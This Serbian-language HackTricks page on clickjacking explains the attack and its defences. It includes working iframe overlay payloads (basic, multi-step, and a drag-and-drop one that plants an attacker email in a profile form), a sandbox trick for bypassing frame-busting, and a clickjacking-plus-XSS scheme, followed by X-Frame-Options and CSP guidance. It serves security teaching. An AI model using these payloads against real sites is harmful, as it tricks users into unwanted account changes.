14 KiB
Clickjacking
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Koristite Trickest da lako izgradite i automatizujete radne tokove uz pomoć najnaprednijih alata zajednice.
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Šta je Clickjacking
U clickjacking napadu, korisnik je prevaran da klikne na element na veb stranici koji je ili nevidljiv ili prikazan kao drugi element. Ova manipulacija može dovesti do neželjenih posledica za korisnika, kao što su preuzimanje malvera, preusmeravanje na zlonamerne veb stranice, pružanje pristupnih podataka ili osetljivih informacija, transfer novca ili online kupovina proizvoda.
Trik za popunjavanje formi
Ponekad je moguće popuniti vrednost polja forme korišćenjem GET parametara prilikom učitavanja stranice. Napadač može iskoristiti ovu funkcionalnost da popuni formu sa proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme Submit.
Popunjavanje forme pomoću Drag&Drop
Ako želite da korisnik popuni formu ali ne želite direktno da ga pitate da unese određene informacije (kao što su email ili specifična lozinka koju znate), možete ga samo zamoliti da prevuče i ispusti nešto što će upisati vaše kontrolisane podatke kao u ovom primeru.
Osnovni Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Višekorak Payload
Clickjacking napadi mogu se izvesti pomoću višekorak payloada. Ova tehnika uključuje korišćenje više koraka kako bi se postigao ciljani rezultat. Evo nekoliko primera višekorak payloada:
-
Kliknite na nevidljivi element: U ovom scenariju, korisnik je prevaren da klikne na nevidljivi element na stranici. Taj element može biti postavljen iznad drugog elementa koji korisnik očekuje da klikne. Kada korisnik klikne na nevidljivi element, zapravo izvršava akciju koju napadač želi.
-
Kliknite na skriveni iframe: Ovde se koristi skriveni iframe koji sadrži ciljani sadržaj. Kada korisnik klikne na vidljivi element na stranici, zapravo klikne na skriveni iframe koji izvršava akciju koju napadač želi.
-
Kliknite na preusmereni element: U ovom slučaju, korisnik je preusmeren na drugu stranicu koja sadrži ciljani sadržaj. Kada korisnik klikne na element na toj stranici, zapravo izvršava akciju koju napadač želi.
Da bi se izveo višekorak payload, napadač mora pažljivo planirati korake i osigurati da korisnik bude prevaren da klikne na odgovarajuće elemente. Ova tehnika može biti vrlo efikasna u izvođenju clickjacking napada.
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Klik payload
Ova tehnika clickjacking-a koristi kombinaciju funkcionalnosti prevlačenja i ispuštanja (drag&drop) i klika kako bi se izvršio payload. Osnovna ideja je da se korisnik navede da prevuče i ispusti neki element na ciljanoj stranici, ali se zapravo izvršava klik na drugi element koji je skriven ili je van vidokruga korisnika.
Da biste izvršili ovu tehniku, pratite sledeće korake:
- Identifikujte ciljani element na ciljanoj stranici na kojem želite da izvršite klik.
- Napravite skriveni element na vašoj stranici koji će biti prevučen i ispusten na ciljani element.
- Postavite skriveni element preko ciljanog elementa koristeći CSS pozicioniranje.
- Podesite događaj prevlačenja i ispuštanja (drag&drop) na skrivenom elementu.
- Kada korisnik prevuče i ispusti skriveni element na ciljani element, izvršiće se klik na ciljani element.
Ova tehnika može biti korisna u situacijama kada ciljani element ima neku vrstu zaštite od direktnog klika ili kada želite da izvršite klik na element koji je van vidokruga korisnika.
Napomena: Kao i kod svih tehnika clickjacking-a, ova tehnika može biti zloupotrebljena i koristiti se u nezakonite svrhe. Koristite je samo u okviru zakona i etičkih smernica.
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Ako ste identifikovali XSS napad koji zahteva da korisnik klikne na neki element da bi pokrenuo XSS, a stranica je ranjiva na clickjacking, možete je zloupotrebiti da prevarite korisnika da klikne na dugme/link.
Primer:
Pronašli ste self XSS u nekim privatnim detaljima naloga (detalji koje samo vi možete postaviti i čitati). Stranica sa formom za postavljanje ovih detalja je ranjiva na Clickjacking i možete unapred popuniti formu sa GET parametrima.
__Napadač može pripremiti Clickjacking napad na tu stranicu unapred popunjavajući formu sa XSS payloadom i prevariti korisnika da pošalje formu. Tako, kada se forma pošalje i vrednosti se promene, korisnik će izvršiti XSS.
Strategije za smanjenje Clickjackinga
Odbrane na klijentskoj strani
Skripte izvršene na klijentskoj strani mogu izvršiti radnje kako bi sprečile Clickjacking:
- Osiguravanje da je prozor aplikacije glavni ili vrhovni prozor.
- Učiniti sve okvire vidljivim.
- Onemogućavanje klikova na nevidljive okvire.
- Otkrivanje i upozoravanje korisnika na potencijalne pokušaje Clickjackinga.
Međutim, ove skripte za prekid okvira mogu biti zaobiđene:
- Sigurnosne postavke pregledača: Neki pregledači mogu blokirati ove skripte na osnovu svojih sigurnosnih postavki ili nedostatka podrške za JavaScript.
- HTML5 iframe
sandbox
atribut: Napadač može neutralisati skripte za prekid okvira postavljanjemsandbox
atributa sa vrednostimaallow-forms
iliallow-scripts
bezallow-top-navigation
. Ovo sprečava iframe da proveri da li je vrhovni prozor, npr.,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
allow-forms
i allow-scripts
vrednosti omogućavaju radnje unutar iframe-a dok onemogućavaju navigaciju na vrhu. Da bi se osigurala željena funkcionalnost ciljanog sajta, mogu biti potrebne dodatne dozvole poput allow-same-origin
i allow-modals
, u zavisnosti od vrste napada. Poruke u konzoli pregledača mogu voditi ka tome koje dozvole treba omogućiti.
Odbrana na serverskoj strani
X-Frame-Options
X-Frame-Options
HTTP odgovor zaglavlje obaveštava pregledače o legitimnosti prikazivanja stranice u <frame>
ili <iframe>
, pomažući u sprečavanju Clickjacking-a:
X-Frame-Options: deny
- Nijedan domen ne može okvirati sadržaj.X-Frame-Options: sameorigin
- Samo trenutni sajt može okvirati sadržaj.X-Frame-Options: allow-from https://trusted.com
- Samo navedeni 'uri' može okvirati stranicu.- Napomena o ograničenjima: ako pregledač ne podržava ovu direktivu, možda neće raditi. Neke pregledači više vole CSP frame-ancestors direktivu.
Content Security Policy (CSP) frame-ancestors direktiva
frame-ancestors
direktiva u CSP je preporučeni metod za zaštitu od Clickjacking-a:
frame-ancestors 'none'
- Slično kaoX-Frame-Options: deny
.frame-ancestors 'self'
- Slično kaoX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Slično kaoX-Frame-Options: allow-from
.
Na primer, sledeći CSP dozvoljava samo okviranje sa istog domena:
Content-Security-Policy: frame-ancestors 'self';
Detaljnije informacije i kompleksni primeri mogu se pronaći u frame-ancestors CSP dokumentaciji i Mozilla-inoj CSP frame-ancestors dokumentaciji.
Content Security Policy (CSP) sa child-src
i frame-src
Content Security Policy (CSP) je sigurnosna mera koja pomaže u sprečavanju Clickjacking-a i drugih napada ubacivanjem koda, tako što definiše izvore koje pregledač treba da dozvoli za učitavanje sadržaja.
Direktiva frame-src
- Definiše validne izvore za okvire.
- Konkretnija od
default-src
direktive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ova politika dozvoljava okvire sa istog porekla (self) i https://trusted-website.com.
Direktiva child-src
- Uvedena u CSP nivou 2 kako bi se postavili validni izvori za web radnike i okvire.
- Deluje kao rezervna opcija za frame-src i worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ova politika dozvoljava okvire i radnike sa istog porekla (self) i https://trusted-website.com.
Napomene o korišćenju:
- Zastarevanje: child-src se postepeno ukida u korist frame-src i worker-src.
- Rezervno ponašanje: Ako frame-src nedostaje, child-src se koristi kao rezervna opcija za okvire. Ako oba nedostaju, koristi se default-src.
- Stroga definicija izvora: Uključite samo pouzdane izvore u direktive kako biste sprečili zloupotrebu.
JavaScript skripte za prekid okvira
Iako nije potpuno neprobojno, JavaScript bazirane skripte za prekid okvira mogu se koristiti kako bi se sprečilo da se veb stranica okvira. Primer:
if (top !== self) {
top.location = self.location;
}
Korišćenje Anti-CSRF tokena
- Provera tokena: Koristite anti-CSRF tokene u veb aplikacijama kako biste osigurali da se zahtevi koji menjaju stanje naprave namerno od strane korisnika, a ne preko Clickjacked stranice.
Reference
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu, proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje trikove hakovanja slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.